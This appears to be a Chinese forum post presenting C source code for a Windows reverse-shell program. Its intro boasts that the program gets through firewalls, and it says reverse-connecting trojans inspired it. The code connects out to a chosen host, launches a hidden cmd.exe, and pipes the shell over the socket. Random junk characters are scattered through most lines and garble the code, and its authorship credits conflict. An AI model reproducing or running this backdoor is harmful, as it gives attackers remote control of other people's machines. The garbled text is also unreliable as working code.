这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'm~=sC_uL
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/* ============================== |?VJf3A
Rebound port in Windows NT ^D+^~>f
By wind,2006/7 PlH~um[J
===============================*/ YhV<.2^k
#include BZ:tVfg.
#include % Q6
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#pragma comment(lib,"wsock32.lib") I4jRz*Ufe?
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void OutputShell(); :sg}e
SOCKET sClient; ~C%I'z'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) ,9bnR;f\
{ A`Dx]y
WSADATA stWsaData; :+Ukwno?/
int nRet; U&WEe`XM
SOCKADDR_IN stSaiClient,stSaiServer; o p9dYjG7
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if(argc != 3) WuUwd#e
{ <r:AJ;
printf("Useage:\n\rRebound DestIP DestPort\n"); &$/
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return; [y@*vQw
} D;C';O
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WSAStartup(MAKEWORD(2,2),&stWsaData); =|agW.l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b&F9<XLqq
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); 2g{tzR_j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5&n{QE?Um
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4=tR_s
{ ^-Od*DTL
printf("Bind Socket Failed!\n"); Zigv;}#
return; uMg\s\Z
} <PpvVDy3
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stSaiServer.sin_family = AF_INET; Eu?z!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f(5(V
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U7s$';y"%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Tzex\]fw
{ yQ2=d5'V`
printf("Connect Error!"); :k/Xt$`
return;
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} 6$r\p2pi0
OutputShell(); EraGG"+
} f4f2xe7\Q
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void OutputShell() .hat!Tt9
{ /d3Jd.l!
char szBuff[1024]; q\6(_U#Tl
SECURITY_ATTRIBUTES stSecurityAttributes; ~ skp}g]
OSVERSIONINFO stOsversionInfo; xR1G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Uq
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STARTUPINFO stStartupInfo; sasurR|;
char *szShell; T`EV
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PROCESS_INFORMATION stProcessInformation; Urr%SIakvM
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [%P#ieD4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KrE'M
stSecurityAttributes.lpSecurityDescriptor = 0; bKo %Ak,
stSecurityAttributes.bInheritHandle = TRUE; mOE *[S)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZL!u$)(V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T D_@0Rd
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C ^Y\?2h1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V%s
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stStartupInfo.wShowWindow = SW_HIDE; w_(3{P[Iz
stStartupInfo.hStdInput = hReadPipe; 4yl{:!la
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YFO{i-*q
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GetVersionEx(&stOsversionInfo); 5'lPXKn+L
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switch(stOsversionInfo.dwPlatformId) @]@|H?
{ iM+`7L'
case 1: <S@jf4
szShell = "command.com"; "z~ba>,-\
break; ]b4WfIu
default: 6\4-I^=B
szShell = "cmd.exe"; >fPo_@O
break; qkb'@f=
} }47h0 i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lE:g A,
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send(sClient,szMsg,77,0); zCx4DN`
while(1) oUv26t~
{ /(N/DMl[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^J'_CA
if(lBytesRead) ?"B]"%M&
{ ?8b19DMK6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]?Ef0?44
send(sClient,szBuff,lBytesRead,0); P?54"$b
} '%Ng lC[J
else 4.RQ3SoDa
{ 7},A.q
lBytesRead=recv(sClient,szBuff,1024,0); Tg\bpLk0=
if(lBytesRead<=0) break; G-aR%]7$g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jwZ,_CK
} mB?x_6#d9
} M([#Py9h
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return; n<I{x^!
}